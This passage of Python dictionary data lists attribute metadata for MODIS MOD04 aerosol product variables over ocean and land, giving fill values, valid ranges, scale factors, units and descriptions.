'hdfeos_name': 'Asymmetry_Factor_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Asymmetry_Factor at 7 bands for average solution'}, 'Asymmetry_Factor_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Asymmetry_Factor_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Asymmetry_Factor at 7 bands for best solution'}, 'Cloud_Condensation_Nuclei_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Cloud_Condensation_Nuclei_Ocean', '_FillValue': np.array([-999.], dtype=np.float32), 'valid_range': np.array([0.e+00, 1.e+11], dtype=np.float32), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'CCN/cm^2', 'long_name': 'Column number of CCN at 0.55 micron of both solutions'}, 'Effective_Radius_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Effective_Radius_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'micron', 'long_name': 'Effective_Radius at 0.55 micron of both solutions'}, 'Mass_Concentration_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Mass_Concentration_Ocean', '_FillValue': np.array([-999.], dtype=np.float32), 'valid_range': np.array([ 0., 1000.], dtype=np.float32), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': '1.0e-6g/cm^2', 'long_name': 'Mass_Concentration for best and average solutions'}, 'Optical_Depth_Large_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Large_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at 7 bands for large mode of average solution'}, 'Optical_Depth_Large_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Large_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at 7 bands for large mode of best solution'}, 'Optical_Depth_Small_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Small_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at 7 bands for small mode of average solution'}, 'Optical_Depth_Small_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Small_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at 7 bands for small mode of best solution'}, 'Effective_Optical_Depth_Average_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Effective_Optical_Depth_Average_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at seven bands for average solution'}, 'Effective_Optical_Depth_Best_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Effective_Optical_Depth_Best_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at seven bands for best solution'}, 'Solution_Index_Ocean_Large_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Solution_Index_Ocean_Large', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([5, 9], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Solution Number index large particles'}, 'Solution_Index_Ocean_Small_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Solution_Index_Ocean_Small', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([1, 4], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Solution Number index small particles'}, 'Quality_Assurance_Crit_Ref_Land_mod04': {'hdfeos_name': 'Quality_Assurance_Crit_Ref_Land', '_FillValue': np.array([0], dtype=np.int8), 'valid_range': np.array([ 0, -1], dtype=np.int8), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Runtime QA flags'}, 'Quality_Assurance_Land_mod04': {'hdfeos_name': 'Quality_Assurance_Land', '_FillValue': np.array([0], dtype=np.int8), 'valid_range': np.array([ 0, -1], dtype=np.int8), 'Geolocation_Pointer': 'Internal geolocation arrays', 'description': 'see MODIS atmosphere QA plan for details', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Runtime QA flags'}, 'STD_Reflectance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'STD_Reflectance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 20000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Standard deviation of reflectance at five bands'}, 'Mean_Reflectance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Mean_Reflectance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 10000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Mean reflectance at five bands'}, 'Number_Pixels_Percentile_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Number_Pixels_Percentile_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 400], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Number of pixels with desired percentile'}, 'Optical_Depth_Ratio_Small_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Ratio_Small_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Small mode aerosol fraction'}, 'Cloud_Fraction_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Cloud_Fraction_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 100], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Cloud fraction (%)'}, 'Transmitted_Flux_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Transmitted_Flux_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized Transmitted flux at 0.47 and 0.66 micron'}, 'Reflected_Flux_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Reflected_Flux_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized reflected flux at 0.47, 0.55, and 0.66 micron'}, 'Angstrom_Exponent_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Angstrom_Exponent_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-500, 3000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Angstrom exponent for 0.47 and 0.67 micron'}, 'Mass_Concentration_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Mass_Concentration_Land', '_FillValue': np.array([-999.], dtype=np.float32), 'valid_range': np.array([ 0., 1000.], dtype=np.float32), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': '1.0e-6g/cm^2', 'long_name': 'Mass concentration'}, 'Estimated_Uncertainty_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Estimated_Uncertainty_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 20000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Uncertainty of optical thickness at 0.47 and 0.66 micron'}, 'Corrected_Optical_Depth_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Corrected_Optical_Depth_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Corrected optical thickness at 0.47, 0.55 and 0.66 micron'}, 'Continental_Optical_Depth_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Continental_Optical_Depth_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Continental optical thickness at 0.47, and 0.66 micron'}, 'Aerosol_Type_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Aerosol_Type_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([0, 3], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Aerosol Type'}, 'QualityWeight_Critical_Reflectance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'QualityWeight_Critical_Reflectance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-20, 20], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Quality Flag forCritical_Reflectance based on the Test for fits'}, 'QualityWeight_Path_Radiance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'QualityWeight_Path_Radiance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-20, 20], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Quality Flag for Path Radiance based on the Test for fits'}, 'Error_Critical_Reflectance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Error_Critical_Reflectance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Uncertainty Critical_Reflectance of 0.47 and 0.66 micron'}, 'Critical_Reflectance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Critical_Reflectance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 10000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Critical_Reflectances at 0.47 and 0.66 micron'}, 'Error_Path_Radiance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Error_Path_Radiance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([9.999999747378751e-05]), 'scale_factor': np.array([0.]), 'units': 'None', 'long_name': 'Uncertainty of the Path Radiance at 0.47, and 0.66 micron'}, 'Path_Radiance_Land_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Path_Radiance_Land', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 10000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Path Radiance at 0.47, and 0.66 micron'}, 'Standard_Deviation_Reflectance_Land_All_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Standard_Deviation_Reflectance_Land_All', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 10000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Std Dev of Ref at 0.47, 0.66, and 2.1 micron after cloud screening'}, 'Mean_Reflectance_Land_All_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Mean_Reflectance_Land_All', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 10000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([9.999999747378751e-05]), 'units': 'None', 'long_name': 'Average of Ref at 0.47, 0.66, and 2.1 micron after cloud screening'}, 'Reflected_Flux_Land_And_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Reflected_Flux_Land_And_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Normalized reflected flux at 0.55 micron'}, 'Optical_Depth_Ratio_Small_Land_And_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Ratio_Small_Land_And_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 1000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'Ratio of small mode optical depth at 0.55 micron'}, 'Optical_Depth_Land_And_Ocean_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Optical_Depth_Land_And_Ocean', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 5000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.0010000000474974512]), 'units': 'None', 'long_name': 'AOT at 0.55 micron for both ocean (best) and land (corrected)'}, 'Scattering_Angle_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Scattering_Angle', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 18000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'Output', 'add_offset': np.array([0.]), 'scale_factor': np.array([.009999999776482582]), 'units': 'Degrees', 'long_name': 'Scattering Angle'}, 'Cloud_Mask_QA_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Cloud_Mask_QA', '_FillValue': np.array([0], dtype=np.int8), 'valid_range': np.array([ 0, -1], dtype=np.int8), 'Geolocation_Pointer': 'Internal geolocation arrays', 'description': '\n\nCloud_mask_QA flags: \n \n \nQA Flag Name Number of Bit Value Description \n Bits \n--------------------------------------------------------------\nCloud Mask 1 0 Undetermined \n 1 Determined \n \nCloud Mask 2 0 0-25% Cloudy pixels \nQuality Flag 1 25-50% cloudy pixels\n 2 50-75% cloudy pixels\n 3 75-100%cloudy pixels\n \nDay/Night 1 0 Night \nflag 1 Day \n \nSun glint 1 0 Yes \nflag 1 No \n \nSnow/Ice flag 1 0 Yes \n 1 No \n \nLand/Water 2 0 Water (ocean) \nflag 1 Coastal \n 2 Desert \n 3 Land \n---------------------- 1 byte total --------------------------', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'MODIS Input', 'add_offset': np.array([0.]), 'scale_factor': np.array([1.]), 'units': 'None', 'long_name': 'Cloud Mask info on 10x10 km resolution'}, 'Sensor_Azimuth_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Sensor_Azimuth', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-18000, 18000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'MODIS Input', 'add_offset': np.array([0.]), 'scale_factor': np.array([.009999999776482582]), 'units': 'Degrees', 'long_name': 'Sensor_Azimuth Angle, Cell to Sun'}, 'Sensor_Zenith_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Sensor_Zenith', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 18000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'MODIS Input', 'add_offset': np.array([0.]), 'scale_factor': np.array([.009999999776482582]), 'units': 'Degrees', 'long_name': 'Sensor_Zenith Angle, Cell to Sun'}, 'Solar_Azimuth_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Solar_Azimuth', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([-18000, 18000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'MODIS Input', 'add_offset': np.array([0.]), 'scale_factor': np.array([.009999999776482582]), 'units': 'Degrees', 'long_name': 'Solar_Azimuth Angle, Cell to Sun'}, 'Solar_Zenith_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Solar_Zenith', '_FillValue': np.array([-9999], dtype=np.int16), 'valid_range': np.array([ 0, 18000], dtype=np.int16), 'Geolocation_Pointer': 'Internal geolocation arrays', 'Cell_Along_Swath_Sampling': np.array([ 5, 2025, 10], dtype=np.int32), 'Cell_Across_Swath_Sampling': np.array([ 5, 1345, 10], dtype=np.int32), 'Parameter_Type': 'MODIS Input', 'add_offset': np.array([0.]), 'scale_factor': np.array([.009999999776482582]), 'units': 'Degrees', 'long_name': 'Solar Zenith Angle, Cell to Sun'}, 'Scan_Start_Time_mod04': {'coordinates': 'Latitude_mod04, Longitude_mod04', 'hdfeos_name': 'Scan_Start_Time', 